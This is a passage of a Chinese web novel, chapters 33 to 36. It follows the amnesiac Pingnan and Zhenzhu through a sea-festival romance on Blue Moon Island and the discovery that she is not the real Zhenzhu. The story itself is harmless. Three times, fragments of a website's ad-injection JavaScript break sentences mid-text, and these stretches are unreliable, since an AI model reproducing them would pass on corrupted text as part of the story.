“说什么蠢话,你不会是中暑了吧。”她走到店内,把风扇对准他,又拿杯子接了一杯凉了的开水递过去。 “我说真的,他们都围在岛长那,说昨天过来的那些人是开发商,你马上就不用待在这里了,到时候能赔好多钱呢!” 他也没忘那些人说曲北的坏话,细枝末节说的清清楚楚,末尾夸张的加上自己早已看透的总结:“他们就是在利用你,想多占一块地。” 珍珠看着他看起来有些小得意的样子,好像只有他发现了曲北某种不能见光的心思一般。 那房子也似拆的不是王家的房子,而是拆的平南的房子一样。 但是平南就是这样,他从来不会掩藏自己的心思,容易沾沾自喜,澄澈的眼睛总是天真烂漫,喜欢就是喜欢,不喜欢也是一目了然。 珍珠听完语气含笑,踮起脚尖摸摸他的头:“我知道啦。” 33. 第三十三章 蓝月岛沉浸在一片飘飘然的喜悦里。 这次事件的重大程度不亚于零八年奥运会前夕蓝月岛第一次通网,尽管后来的信号差强人意,但这次传播的速度却格外快,从第二天开始,许多从蓝月岛离开的人就陆陆续续赶了回来。 蓝月岛恢复了往日的生机。 珍珠从来没在岛上见过这么多人,几乎每隔一段距离就能见到新面孔,大家从四海八荒赶来团聚,都说只为了参加那一年一度的祭海节。 王淑华当晚听到消息就啐骂了几句,说外面的人不安好心,指不定要在蓝月岛整出什么幺蛾子,岛上的人还沾沾自喜,到时候有的是他们折腾的,还不知道怎么哭呢,引狼入室。 她对外面的世界一贯充满敌意,连带着从外面久待回来的人也不例外,鄙夷的好似他们身上有什么危险病毒。 王淑华开始不准珍珠出去,但现在人多正是冷饮店开张的好时机,珍珠不在意阿财叔是否真的提前得知拆迁的消息才把她安放在那里,她从心底始终对阿财叔是感激更多一点。 如若不是这份工作,她连王淑华第一次吃药的钱都拿不出来,只能眼睁睁地看着王淑华生病时痛苦的在那里撞墙。 曲北也是,刚醒来的那段时间,怕她无聊怕她不习惯,天天过来陪她说话,带她在岛上散步。 论迹不论心,珍珠在越来越多她不是“珍珠”的证据面前心里依旧这样想。 珍珠拗不过王淑华,只能找岛长帮忙,好在王淑华最后还是在岛长的单独谈话下,同意了珍珠正常去冷饮店上班,让她下班了就马上回来,见到那些人不要逗留。 平南回来的时候正赶上珍珠出去,有点意外王淑华怎么突然就转性了,不把珍珠当宝贝一样捂在家里,心里觉得王淑华也太谨慎了一点,珍珠又不是什么小孩,怎么还需要看着,生怕她被人拐走一样。 他手往口袋一插,淡淡道:“一起去吧,反正我没事。” 珍珠昨日未出门,本来今天休息当作补班,谁知刚离家没多远二妞就跑了过来,气喘吁吁在她耳边低语了几句,又合起双手做拜托的姿势,圆圆的小脸一股可怜劲,珍珠实在没办法,点点只能同意。 脚步一转,换到了另一条路上,二妞这才又跑了回去。 “去哪?”平南问。 “去海边帮他们。” 具体来说,只有两个人,春山和二妞。 二妞想和春山独处,好不容易找了个偏僻无人装饰的活,谁知道岛上竟然会回来这么多人,灵机一动,想到了珍珠他们。 王家距离那块沙滩有段距离,一路走来,平南总感觉不对劲,好似那些陌生人的视线都往珍珠脸上招呼,跟没见过一样紧紧盯着她。 珍珠倒是神态自若,礼貌应对每一个好奇投来的视线。 平南状似不经意地往珍珠那斜睨,淡烟似的眉下浓睫扑闪,瘦冷冷的下颌尖,温煦阳光落在她姣妍的脸上跟裹了一层白光滤镜似的。 也还好吧,总看她做什么。 平南脸色变得阴沉,突然往前偏了一下身子,将珍珠的身影遮个大半。 看来王淑华的担心也不是没有道理,那些人的眼睛也是真的很喜欢乱瞟,不是他们的也敢乱看。 珍珠不知道平南又在发什么神经,突然就不高兴了,还非要比她走快半步,挡在她前面,她移到旁边怕踩到他,等下病情加重,平南又故意贴上来,存心要惹她一样。 幸好,沙滩终于到了,二妞用力挥挥手笑道:“怎么这么慢,我都等你们好久了。” 珍珠对着她点了点脑子,又暗戳戳的指了下平南,恰好这时平南转过头来,珍珠嘴角用力往上扬,露出一个假模假式的笑。 明明是个很虚伪的笑,长着一张聪明脸的平南却不知为何完全没有识破,愣了瞬,暗想她是不是前面也是这样笑的,知道这样有多招人吗? 他抬手用力扯了下她的辫子,“不准笑……真难看。” “……”珍珠瞪了一眼,用力打掉他的手。 毛病。 他们的任务是要装饰好靠近海岸边的那棵大榕树,然后把之前那条已经泛白的旧横幅给换了。 大榕树立在一个稍高的土坡上,珍珠甚少来这边,但是二妞之前说要和春山告白的时候和她说起过这棵树的渊源,也就没有再问原因。 但平南不知道,看着这棵树觉得平平无奇,顶多是大了点,绕到旁边才发现大榕树竟然有一大半的根系是露在外面的,死死咬着仅剩的那一块土壤,往下就是翻涌海浪,朵朵白花。 “很神奇吧。”春山站在梯子上说。 “一般。” 春山性子憨厚,但人不傻,和平南相处久了早就摸透他的脾性,平南性子傲,不管你跟他说什么,他总是表现的出一副也不如如此,还不就那样的表情,生怕别人把他看穿了会掉面。 春山笑笑,不在意的自言自语:“我听我爸说,本来以前海神庙是建在这里的,后来有一年台风太大,周围树都给刮倒了,唯独它还好好活着,那时候大家都以为它活不久,哪天就会倒下去,结果竟然一直活到了现在。” “岛上的老人说,是海神娘娘离开的时候看这棵树太可怜了,所以拔了长发放进它的根里,这才坚持下来。” 平南不信这些带有神话色彩的传说,心想就不能是这棵树太想活着,所以才使劲扎根? 不过他在这个岛上就是个外人,有些话也知道不能随意说出口,漫不经心道:“所以它有什么用?” 春山说:“我们一般都是祈求风调雨顺,来年能捕到更多的鱼。像我阿妈她们就会祈求一家平平安安,能够顺利回船,然后也有些年轻人会挂姻缘带,希望找个意中人。” “反正你想求什么就挂什么,挂的越高海神娘娘就能看的越清楚。” 带着咸湿水汽的海浪扑到崖壁,平南用力扶稳梯子:“真的?” “当然,海神娘娘很灵的,我们出海前都要去拜一拜。”春山挂好最后一个小巧的红灯笼,从人字梯上下来,“走吧。” 平南拍了拍手上的灰,珍珠和二妞已经将剩下的小红灯笼串好,跟一个个鲜红的小柿子一样,寓意硕果累累,五谷丰稔。 这些事做起来并不麻烦,光凭春山二妞两个人完全就能做好,就这么点小事,还要让他们跑一趟,平南狐疑的视线在两人身上转悠了好几圈,恍然瞪大眼睛,这不是拿他和珍珠做挡箭牌。 还没张嘴,被珍珠眼疾手快一把捂住嘴。 珍珠用只有他们两个才能听见的声音说:“人家还没说开呢。” 平南乖顺的点点头,珍珠松开手,往他怀里塞了一长串彩球,指使道:“你去那边把这串彩球挂高点。” 说是那边,其实已经到了下面的沙滩上,平南撇了撇嘴,把彩球挂的高高的,他还没跟珍珠亲近呢,怎么先帮别人打起了掩护。 他挂完往回走,心中琢磨为什么珍珠后来就不亲他了,也不再说那些虚情假意的话术,突然脚上传来密密麻麻的瘙痒,还带点刺痛,平南低头一看,沉默两秒大叫:“珍珠。” 他汗毛不禁都竖起,平南猛地用力一甩,三步并作两步跑道她身边,浑身跟被咬了似的难受,忽然一阵头晕目眩的恶心感骤然袭上,颅内的轰鸣燥响,出现一道白光。 “平南……平南……”珍珠双手抓住他的胳膊用力摇了摇,发现他额角竟沁出冷汗。 耳道的声音缥缈空悬,似来自遥远的时空,一声一声传入他的脑内。 “你怎么了,平南……” 平南的视线缓缓清晰,垂下头看到一张焦急的小脸,无比熟悉,慌然将她搂入怀里,四肢冷的发凉。 珍珠被他箍的生疼,两人力量悬殊,珍珠根本无法动弹,却又被他那慌张乱窜的心跳吓到,只能卸了力由他抱着。 平南却两只手越抱越紧,掌心抚在她的脑后,恨不得将她按进身体里。 在附近暧昧不明的两位终于听到动静,赶过来双双道:“他这是怎么了?” 珍珠艰难的摇摇头,平南这时才似回到了点神,松开珍珠躲在她后面拧紧眉说:“那里有只好恶心的虫子。” 众人:“……” 春山顺着他手指的方向走过去,弯腰捏起扑哧一笑:“是只小红脚,不是什么虫子。” 他走近递给众人看,对着平南打趣说:“你力气还挺大,都把它摔晕了。” 二妞不怕的接过:“长的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这么丑的确实少见。” 珍珠:“什么是小红脚?” 春山挠了挠头,想起道:“就是你们平时说的寄居蟹,看这体型应该是原来里面的螺肉给吃掉了。” “附近渔村也有人把它叫做‘白住房’,就是说它把人家的房子占为己有,这玩意也挺坏的,住了别人家还把别人吃掉。” 那只寄居在红褐色海螺壳里遍体通红的寄居蟹终于醒了,张牙舞爪的挥动着自己的小钳子,乍一看,还真像巴掌大的红蜘蛛,大的吓人。 听上去就不是什么好东西,平南嫌弃的移开眼。 二妞松开手让那只寄居蟹离开,几人将剩下的红灯笼挂完,二妞又在珍珠面前嘀咕了几句,两人相视一笑脱了鞋在沙滩上玩水。 平南和春山坐在一棵倒下的椰子树干上。 春山看着前方满眼柔情道:“是不是蓝月岛其实也不错。” 海风轻柔,少女们嬉戏打闹的声音像风铃般悦耳,平南翘了翘嘴角:“还行吧。” 春山会心一笑,平南转过头问道:“我要的东西呢?” “我做事你还不放心,关系你人生的大事兄弟我还能忘了。”春山说:“我托别人帮你去市里买了,保证满意。” 平南不太习惯这种人与人之间的热乎劲,表情不自然的道了句谢。 春山无所谓的摆摆手,他看着蔚蓝的海面叹了口气:“也不知道蓝月岛以后会变成什么样子?” 平南没想到除了王淑华外,竟然还有人会不喜欢这种从天上掉馅饼的事:“拆迁不好吗?” “好,也不好。” “为什么,我看大家都挺高兴的。”平南想起王平的例子,又觉得不合适,改口道:“这样你以后也不用跟神树祈祷的时候只说捕鱼了。” 春山摇摇头,平静地说:“我没有曲北聪明,读书的时候只觉得脑子疼,三天打鱼两天晒网。” “后来我想明白了,有些人生来就是带着使命的,我出生在蓝月岛就注定要与海洋博弈一生,出生在黄土,就注定要与尘土为缘,出生在草原,就注定要与羊马相伴,这是社会的法则。” “我喜欢这种生活,就算是厌倦,也应该是我自愿放弃。” 但是蓝月岛突如其来的改变可能会打乱这种计划,春山知道,蓝月岛的人靠海敬海,但更多的,大家畏海。 人们依靠海洋生存,但风浪中夺去了许多人的生命,不可估量,但冥冥之中又好似是在公平交易。 万物换一物。 这使得春山在面对那座神像时,毛骨悚然又心生畏惧。 在渔船上,他总是会想起母亲殷盼又苍老的眼神,还有母亲从他出生时就在树上挂的那如出一辙的红绸。 蓝月岛迟早有天会变成一座荒岛,人们不再依靠海洋,从这里搬离,现在只不过是迎来了另一种转机。 可是春山割舍不掉这片海洋,也习惯与风浪斗争。 大家总说这个世界上有很多条活路,条条大路通罗马,努力就饿不死,可是失去了自己最想做的那一件呢?人活着从来就不只为了谋生。 春山眼睛闭上,深深吸了一口咸涩的海风复又睁开:“你也一样。” 平南:“?” 春山:“你真打算一辈子耗在这里?” 这社会的法则不会变,他看得出,平南并非普通人,甚至有可能是蓝月岛人一辈子都望其项背的那种贵人。 平南留在蓝月岛不会成为春山,就像春山去了外面不会成为平南。 这就是社会的法则。 人与人之间的鸿沟,从出生就注定了。 平南垂下眼睑沉默不语,抬头望去,发现珍珠她们的身影早就不见。 他急急站起身,迎面砸来了一个沙球,珍珠从一旁的灌木后跳出来眨眨眼偷笑。 ‘噗’的一声,春山身上也被砸了一个沙球。 沙球轻,砸到身上就碎了,只留下一个沾满沙子的圆形,平南爱干净,当然忍不了这种事情。 “王、珍、珠” 春山却不在意,反应敏捷的团起一个也朝二妞砸去。 珍珠对他的警告没有丝毫畏惧,对着平南做了一个鬼脸,又砸过去一个。 34. 第三十四章 后来回忆起这段时光,失忆的平南在这个时候是真的喜欢蓝月岛,虽然这里贫瘠,风里永远有股海腥味,可是眼前的人是真的,他们那时再以一种前十多年从未有过的方式平等相处。 平南团了一个沙球朝珍珠打去,被她一歪躲过。 珍珠瞄头总是要比他准一点,闹到后面平南的衣服上都是莹白的海砂,几个人在沙滩上玩的不亦乐乎,只有在这个时候,大家好像才有了专属于这个年岁的少年气。 无惧风浪,无惧黑暗,无惧离别,放纵肆意。 珍珠跑到后面打不动,站在原地喘息道:“停,休息会,我跑不动了。” 平南本来都团好了一个球,盯了她泛红的脸颊几秒,无趣的把手中的沙球一丢,故作鄙夷道:“王珍珠,你体力真差。” “差就差呗,我又不参加铁人三项。”珍珠说:“你体力好,行了吧。” “那是自然。” 珍珠抿唇憋笑,忽然,一滴透明的水落在她的脸上,她不由抬头,明明风和日暄竟下起了太阳雨。 “下雨了,还傻站着呢?”她也不管平南有没有真的感受到,拉过他的手就朝树下跑去。 海风穿过榕树葱郁的枝叶,树上的小风铃随风摇曳,与下方激昂翻滚的海浪奏成乐章,那些细小的雨点被隔绝在天然屏障之外。 珍珠抬头望了会天,收回视线松开平南的手。 可他们的手还是贴着的,相握的手就算被另一方放开,剩下的那个人也可以用力抓住。 珍珠愣了下,心里打鼓似的扭过头,感到平南缓缓收紧手掌,掌心熨帖的温度将她包围。 两人挨的很近,平南垂眸看着眼前的人,明媚白皙的侧脸微微仰着,浓密的发丝梳成长辫自然垂落在胸前,棉布的白裙轻盈浮动,在风里飘出恣意的褶皱。 他眨了一下眼:“王珍珠,你...到时候要许什么愿望?” 珍珠:“什么?” 平南:“就这棵树啊...春山不说很灵,你准备今年许什么愿?” 珍珠:“不许。” 平南不知道她怎么能回答的这么干脆,岛上的人看起来都信奉这些,连王淑华都在准备祭品,难得一见的做起了那些甜糕,“为什么?” 珍珠淡淡回道:“我没愿望。”她不属于这里,神明也不会保佑她。 平南不知为何她在此刻偏要独树一帜,表现的如此平淡,好像心中就没有一点信仰,细细数来这样的事情已经出现过很多次,从他第一次跟珍珠说帮她实现愿望到现在,她表现的从来都是无关痛痒。 有风经过,几片榕树叶荡荡悠悠从上落下,树梢间的风铃声愈发清脆急促。 平南不由想起些春山说过的话,轻轻捏了捏珍珠的手,孩子气的说:“我不管,你快点给我许一个。” 他心中朝菩萨默念道,童言无忌,童言无忌,请不要计较,珍珠就是嘴硬而已,她其实心很诚的。 珍珠知道自己不说,他肯定又要抓着这点,无奈道:“那好吧,我希望大家幸福。” 平南:“这么空?” 珍珠不满地撇了他一眼:“你为什么不说我是有大爱。” 平南闷着笑,拖着长长的尾调:“那有大爱的王珍珠,能不能偶尔自私一点,也给自己许个愿望。” “就算我真许了,你也不会知道。” “但是神明会看到啊。” 珍珠看着树上那些飘扬的红绸,没说话。 平南盯着她,目光灼灼:“神明会看到的。” 风卷起少年额前的发丝,却穿不透两人执手相触的手心,珍珠想,也许再不会有这样的时刻,有一个人会这样如此炽热虔诚的看着她,眼里只有她。 “你脑袋下来一点。” 平南不明所以,但听话。 “再下来一点。” 珍珠说:“还要。” “好了。”她拉过他另一只手借力,踮起脚尖,吻落在了平南的脸侧。 这个吻太过柔软,平南想起了上次在海里见到的那只漂亮水母,清透的粉色。 他当时没敢碰,春山说那种漂亮的水母都有毒。 然后一个少女亲了他。 珍珠落回原地,一瞬不瞬的看着平南,眼底全是狡黠的笑意。 平南木桩似的站在那里,错愕的神情无处可藏。 珍珠嘴角绽放出一个天真又若有所思的笑:“你是不是喜欢我?” 那一瞬间,平南好像又听不见声音了,他发现自己最近总是这样,珍珠嘀嘀咕咕的时候,总是会走神到另一个她刚刚做坏事的地方上。 珍珠说了半天,也不见他答一句,狐疑的向前凑了点,心道这傻孩子,不会亲傻了吧,那不是傻上加傻。 她没忍住低低的笑了下,决定不再逗他。 抬起头,少年宽阔坚实的胸膛却猛然向她靠近,平南俯下身,吻稍偏落在了她的嘴角,但他又很快反应过来,沿着女孩浅润的嘴唇找到正确位置。 浩瀚苍穹,风铃叮叮作响,都化作了少年轰轰急促的心跳,震的他胸膛发颤。 珍珠站在那里接受平南轻柔的吻,直到他微微收起下颌,光线重新从他们之间穿过,这个漫长的吻终于结束。 “你亲我做什么?”珍珠故意狎弄道。 平南并没有被她盯的不自在,反而把锅甩了回去,心情看上去似乎很不错的懒散道:“我是在让你亲我。” 是珍珠记起想亲他了,自己不过是顺水推舟而已,亲个小的,回个大的。 做生意要是都像他这样,怕是不管多大的家产都要亏死。 但是平南乐意,他想,他会永远乐意。 在珍珠这里吃亏。 珍珠不知道他心里那些奇奇怪怪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的小心思,鼓起腮帮子气哼哼的瞪了他一眼,发现外面的雨早就停了,她打开平南的手朝树梢外探了探,确认是真的雨停的才走了出去。 二妞这时也终于发现了她,在春山身边跳动着招招手:“珍珠,你快看,有彩虹。” 海的尽头赫然悬着一道虹桥,七色分明,绚烂夺目。 平南迈着长步走到她身边,手肘杵了一下她的胳膊,双手交叉环在胸前,看着天边煞有其事的夸道:“你运气不错。” “我和彩虹都是。” 你的。 …… 今年中秋节刚好在祭海节前两天,王淑华除了要准备祭海节的食物还不能落下中秋的,这两个节日对于蓝月岛的人来说都格外重要。 往年王淑华是不过这种节的,哪也不肯去,一个窝在那栋灰白的小房子里,大门紧闭,意外清醒。 岛长怕她今年还这样,特意装模作样的去了趟王家,当着珍珠的面美名其曰道,他是特意过来访问岛情的,结果发现王淑华特别有劲头,什么红粿米糕做了一大堆,大铁盆里还养着几只格外大的螃蟹在吐沙,甚至还去别人家买了一只年轻的大公鸡,嗷嗷待杀。 王淑华是舍不得杀自己那几只老母鸡的,第一能生蛋,其次养久了有感情。 那是个浓雾蒙蒙的早晨,平南嘴角还挂着笑,一声高亢的长鸣打破了这个平静的早晨。 王淑华从外头提着一只油光水亮的大公鸡塞进了鸡窝里。 平南起初没放在心上,觉得王淑华铁公鸡拔毛能安着什么好心,肯定是要让母鸡生小鸡,小鸡变母鸡,依次循环,生生不息,榨干它们,然后在未来的某一天变成养鸡大亨。 直到中秋的前一天,王淑华把那只大公鸡拴到了院子里。 珍珠好奇道:“怎么放这里,是又要还回去吗?” 那公鸡是在二妞家买的,二妞说王淑华买回去是为了给母鸡受精,可这才几天啊。 王淑华坐在公鸡旁边用磨石板磨菜刀,话是回答珍珠的,眼睛却冷冷盯着平南:“杀了?” 大公鸡一愣,吓的咯咯咯的立马大叫,扯着绳子乱窜。 王淑华摆弄着手里的菜刀:“这只该死的公鸡不安分,竟然想带着那群母鸡到处乱跑,好好的全都给他带坏了,还不如杀了来的干净,省的它哪天真拐跑了。” 此时那只鸡正好直直蹿到平南面前,一脸悲切,平南被吓了一跳,躲到珍珠后面,狐假虎威地对它恐吓道:“说你呢,还不安分点,等下就把你杀了。” 公鸡:“?” 王淑华:“……” 平南乐哉游哉的进了屋子,心想,吃不了母鸡吃公鸡也行,反正他是不想再吃那些海鲜了。 中秋要祭月,珍珠不懂这些习俗,只能全部都是由王淑华操办,在院子摆了一桌子食物,对月燃了一对红烛,这才把鸡拿去厨房煮。 35. 第三十五章 第二日晨起,红色蜡油落满烛架。 平南一手压住桌子一手用力一拔,桌子上只留一个圆形的底座图案,把烛架放好,珍珠刚好跳着从楼上下来,自发的跟他一起去外面搬桌子,临到门口的时候,平南和一个熟悉视线交错上。 曲北站围墙外,正准备到门口敲门。 珍珠跟在他背后没看见,平南转身把她推回屋里,“不用你搬,你再去睡一会儿。” “我才刚醒。” “不,你其实是在梦游,你困的很。”平南一本正经的说瞎话,将她往楼上推,不知道曲北为什么要天天阴魂不散,没事就要来找珍珠。 才上楼梯第二阶,曲北敲门的声音就在门外响起,“珍珠。” 珍珠立刻反应过来,掐了平南一把,走过去开门:“小北哥,怎么了?” 曲北笑道:“我爸回来了,想叫你们中午一起过去吃饭。” “她不要去。”平南急急的跑到两人中间,小狗护食似的挡在珍珠前面,在两人之间竖起一堵高大的人墙。 曲北深吸一口气,笑容不变的歪了下头,看着珍珠没说话。 “好,那我和奶奶说一声。”珍珠回道。 曲北回正身子,对着平南做了个双手向上摊开的姿势,气的平南直接一把就抬起了那张需要两人合力才能搬动的实木桌。 曲有财昨日才和曲北一起回岛过中秋节,还没有来得及见平南,但已然从儿子和妻子的口中知道了一些关于平南的事情,只是两人形容的大相径庭。 妻子口中的平南年轻俊朗,博学多识富有爱心,不仅经常教谢嘉他们写作业,还特别爱护岛上的卫生,天天去礁石滩那边捡垃圾,最重要的是他特别听珍珠的话, 最后这一点在传统思想的妇女眼里简直好比是真金,长期权利缺失的人总是会想依靠身边人的顺从来弥补内心失衡。 这点在蓝月岛这种长期生产力基本掌握在男性手上的小社会里尤为明显。 所以哪怕曲北眼中的平南不仅幼稚、脾气差还爱作妖,平南依旧在岛上获得了不低的评价。 这导致曲有财一时分不清这个岛上突然出现的少年,究竟是不是自己那日载到岛上的小少爷。 王淑华不喜欢这种热闹的场景推辞没去,珍珠只能带着平南前往。 曲家显然比王家阔绰不少,家电齐全,房子也有近期翻新过的痕迹,甚至家里还有一台小的发电机,曲妈妈知道他们要来吃饭,从早上就开始在厨房里忙活。 曲有财坐在客厅里,视线掠过平南的时候明显愣了一下,尽管平南穿的是那些最普通的旧衣服,头发变长,皮肤在不停的折腾下终于变黑了点,但是那熟悉的冷傲神情是不变的。 他很快恢复如常,不动声色和曲北交换了个眼神。 饭菜摆满一大桌,曲有财开了一瓶白酒,笑眯眯地端着酒瓶对平南说:“小兄弟,来一杯?” 平南眼神微动,轻飘飘看了他没说话。 场景有一瞬的尴尬,珍珠偷偷对他使了个眼神,知道他那些臭毛病又犯了,平南这才不情愿的开口:“谢谢,我不要。” 曲妈妈眼里的欣赏更甚,用筷子夹了一个手掌那么大的海虾放到平南的碗里,意有所指地说:“不喝酒好,不喝酒好,省的等下又耍酒疯,吃菜吃菜。” 平南没动筷子,盯着碗里的虾就想丢出去,刚刚是有人用过自己的筷子给他夹菜? 珍珠赶紧低头,用只有他们两个才能听到的声音警告道:“在别人家不准挑食,都给我吃下去。” 平南:“……”那只虾最后还是被他硬着头皮吃了下去。 这顿饭在珍珠的全程监督下,吃的也还算融洽,曲有财倒是没问平南什么问题,只问了下珍珠近期冷饮店和王淑华的一些情况,视线似有若无的从平南脸上划过,却不作停留。 珍珠都照常如实回答,怕平南待不习惯,饭后不久就带着他回去了。 曲有财站在院子里,面朝着他们俩离去的方向,心中拿不准主意。 曲北站在旁边,语气有点焦急:“是他吗?爸。” 是自然是的,像他那样的冤大头能有几个?况且平南还长着那样一张那样足够出色的脸,如出一辙的小少爷脾气,曲有财记得平南第一次坐他的船的时候,全程掩鼻,脸色难看到极致,就差没直接说出来这破船也配他坐? 但他就是看准了平南这种小少爷脾气,知道这种人最是不会和他计较什么钱财上的花销,哪怕他翻了几倍报高价,平南付钱的时候多转了一个零,曲有财这种老油条也不怕,反正去蓝月岛的船只有他一条。 那天下午蓝月岛要变天,他提前给平南打了电话,却一直无人接听,还以为平南是发现了价格不对坐别人的船出岛了,没想到他竟然会一直待在岛上。 曲有财半信半疑:“你确定他真失忆了?不会是装的吧。”电视上失忆不都会换个脾性,怎么这位还是小少爷脾气,甚至更加严重。 怎么能刚刚好,就落在珍珠家门口,还被珍珠捡了回去。 他是不怕平南去蓝月岛找到珍珠的,找不找得到另说,冷饮店位置偏,岛上的人也不会告诉他在哪,就算他找到了,想强行带珍珠走,也根本出不了岛。 更何况,谁知道他究竟是好人还是坏人,知人知面不知心,难保这张俊逸的皮子下装着什么,毕竟蓝月岛对珍珠的遭遇有目共睹。 曲有财想起又问:“那你看,他是不是你们大老板的弟弟?” “如果是,这可麻烦了,现在蓝月岛的关键时刻,谁敢惹他。” 曲北入职的是万世集团下分公司的研发部门,颜淙在总公司开会较多,他还够不上那个位置,只是在刚实习那会被经理带去总公司述职的时候见过一次。 颜淙看起来年纪比他大不了几岁,却天生带有一种威严,冷峻矜贵,神情寡淡薄凉,提前从国外名校毕业后就开始接触公司业务,一直到现在才不过六年,老颜总已经将大半的产业都交到了他的手上。 还是这次回去曲北才得知颜淙竟然还有一个弟弟,只是年纪尚小在国外读书,说是有人看到他满脸诘问冲进了总裁办公室里,大家后知后觉他们见到了那个传闻里的小少爷。 听说和颜淙长的四五分像,眉眼有过之而无不及。 但曲北没见过,他也不敢保证平南是否真的失忆,缄默片刻,不甘的地问道:“那珍珠呢?” 曲有财感受到儿子微妙的情绪变化,神色难辨:“你知道她不是。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 这句话并未说全,但曲北已然明白了父亲的意思,是‘珍珠’当了太久珍珠,以至于大家都快忘了,那个女孩,她其实不是。 …… 这顿饭吃的平南并不高兴,他回去的路上还嘟囔道:“真是没道德心,放假了也不让人消停。” 那是吃饭吗,那是老板找员工工作报告呢,吃饭也堵不上他们的嘴,一家破冷饮店,能赚几个钱,有什么好问的。 珍珠撇了眼他的手:“这下知道我没说假话吧,我说了我工作很不容易的,你还总是要让我乱花钱。” 她也不知道平南最近怎么回事,手上总是出现很多莫名其妙的小划痕,好好的一双手全是口子,只能又去陈医生那里买药。 平南扁了下嘴,难得的没有呛声。 王淑华不在家,两人回到二楼休息,珍珠午睡了一会起来画画,上次她让二妞出岛的时候帮她带了一盒颜料,二妞不懂这些,还以为她是画着玩,随便买了一盒彩色蜡笔,一共才十二个色,豪爽的说直接送给她。 那盒彩色蜡笔上面还写着学生专用,值不了几个钱,珍珠也不好再给,但又总想着还回去,思来想去决定给她和春山画一幅画。 二妞行动力很快,根本没等到祭海节开始就跟春山说开了,两人最近是蜜里调油,天天形影不离,两家大人也很满意。 珍珠拿着蜡笔构思,不知不觉又想起了那天她和平南在大榕树下的场景,风铃悦耳的清脆声犹在耳畔。 等她反应过来,画纸上早已呈现出那天的场景,门外又响起两下敲门声,珍珠慌忙把画纸往桌子下带有滑轮那一层塞进去,打开门。 平南站在门口幽幽道:“干嘛呢,叫你都不开门。” “没什么,怎么了?” “喏,我所有的钱,以后都给你。”平南把那个玻璃罐子塞到她怀里,故作镇定的走进去,“别想太多,我就是随便给你的,也不用太感激我。” 珍珠:“……” 平南走到她的书桌面前,语气很夸张的说:“王珍珠,你现在竟然画的这么好。” 他拿起那些画纸一页页的翻过,多是一些风景画,但是色彩应用的很大胆,撞色不仅不突兀,反而格外的出彩。 平南一路翻到最后一张,那是一张黑色的人像,却没有人脸。 他指尖顿住,不满的将那幅画单独放在桌上,“这是谁?” 珍珠也不知道那是谁,如果刨根问底,那只是她梦里的一个幻影,根本不知道现实中有没有这个人,“随便画的。” 平南不太相信,但仔细看完那幅画又觉得这看上去也不是曲北,只能作罢。 他把画放下,目光缓缓扫过珍珠的脸庞,“你不要想着骗我,我可是最了解你的人。” 珍珠觉得好笑的放下那半罐子的硬币,拉开旁边的凳子坐下:“说说,你怎么就最了解我了。” 平南视线悠悠的转动,坐在椅子上腿不自觉的晃了一下,他可是看过王平日记的人,怎么会不知道她小时候那些糗事,突然他视线顿住,错愕道:“你的胎记呢?” 那是平南在蓝月岛待的第四十一天,那些日子里他在蓝月岛想过很多事情,却唯独没想过,如果珍珠不是珍珠。 36. 第三十六章 蓝月岛祭海节如期展开,位于岛最南边的那座小庙悬灯结彩,锣鼓喧天,鞭炮齐鸣。 春山他们穿着红色对襟衣举着长龙上下腾飞,爆竹四起,鼓点激扬,带着火药气味的烟雾消散在空气里,蓝月岛已经很多年没有这么热闹过了,谢嘉追着小渔在人群里穿梭,大伙都忍不住乐呵呵的笑出声。 最远处的王家只能听到一点削弱的鞭炮声,王淑华拿着扫把静静扫着院子,听到声响不由扶着扫把朝那边望去,随后又看向楼上紧闭的房门。 珍珠从工具间走出来,听到王淑华问:“那臭小子又在抽什么疯?” 前几天还好好的说要去看祭海节活动,结果从昨天起就跟霜打的茄子一样蔫巴。 “不知道,可能没睡好。” 王淑华冷哼一声,尖尖的竹枝扫把在地面发出沙沙的声音,夏季接近尾声,最近晚上总刮大风,早上起来院子里总是有许多细小的枝叶。 珍珠也没有去参加海祭节,她只远远的坐在高处看过,那些热闹不会再属于她,从平南告诉她关于那个胎记开始。 她就不再是珍珠。 蓝月岛也不是她的家。 那她是谁? 她看向手上那些紊乱的、清浅的掌纹,却看不到任何有关自己的过去。 ‘嗒’—— 一只稍大的手掌握成拳稍稍用力放在了她的手心上,凌乱的掌纹看不见了,好似她可以掌握的东西此刻已全然握在手上,她抬头看到了平南那张别扭的臭脸。 平南嘴角微动,松开手,一条细小的链子落入她的掌心,吊着一个深褐色的小方盒。 他移开眼,望着远方说:“你怎么不过去看?” “你不是都知道。” 知道她不是珍珠,知道她不是照片里的小女孩,平南所知道的一切都不是关于她的。 珍珠托着手掌问:“这是什么?” “我不知道。” 平南还停留在上一个话题,偏过头又郑重的重复了一遍,话语里是一如既往的固执:“我不知道。” 珍珠不想再玩这种无聊的游戏,直接撕开了他想粉饰的一切:“你知道的。”他自以为了解她的过去,其实全都是假的。 现在站在平南面前的她,不过是一个熟悉的陌生人。 “我不知道。”平南强硬地说。 他垂下眸,话语里有微微的哽咽:“我只知道,救我的是你,带我去海边抓星星的是你,我喜欢的也只是你。” 珍珠:“可是我不知道什么是真的。” “我告诉你。”平南把她的掌心合上,拉过贴在自己的心口,“这是真的,平南是真的,我愿意属于你是真的,我喜欢你是真的,它为了你跳动紧张也是真的。” 是两个共同遗忘过往的人创造了许许多多的现在,构成了他们新的过往,这就是真的。 “那你呢,你愿意吗?愿意喜欢我。”平南说的很小声,他从来没有这么紧张过,珍珠在榕树下只问了他,却从来没有说过自己的答案。 那不是蓝月岛的珍珠,愿意喜欢蓝月岛的平南吗? 远处燃起了白日的焰火,这一天的祭祀活动到达尾声,平南置若罔闻,看见珍珠突然笑了下,嘴唇翕动:“好。” 一朵朵炫彩的烟花在天空绽放,不如夜晚盛大,只能看到错乱的色彩在相互交织,珍珠迎着声音看过去,时机竟这样的凑巧。 她收回手掌,拿起那个小盒子看了几眼,不清楚是什么材质,只是摸着有些许分量,正上方有个卡扣微微凸起,珍珠指腹用力一推,方盒被打开,一颗泛着温润光泽的珠子露了出来。 她轻轻拨动了下,里面的珍珠也跟着转面,浑圆明净,如月色般皎洁。 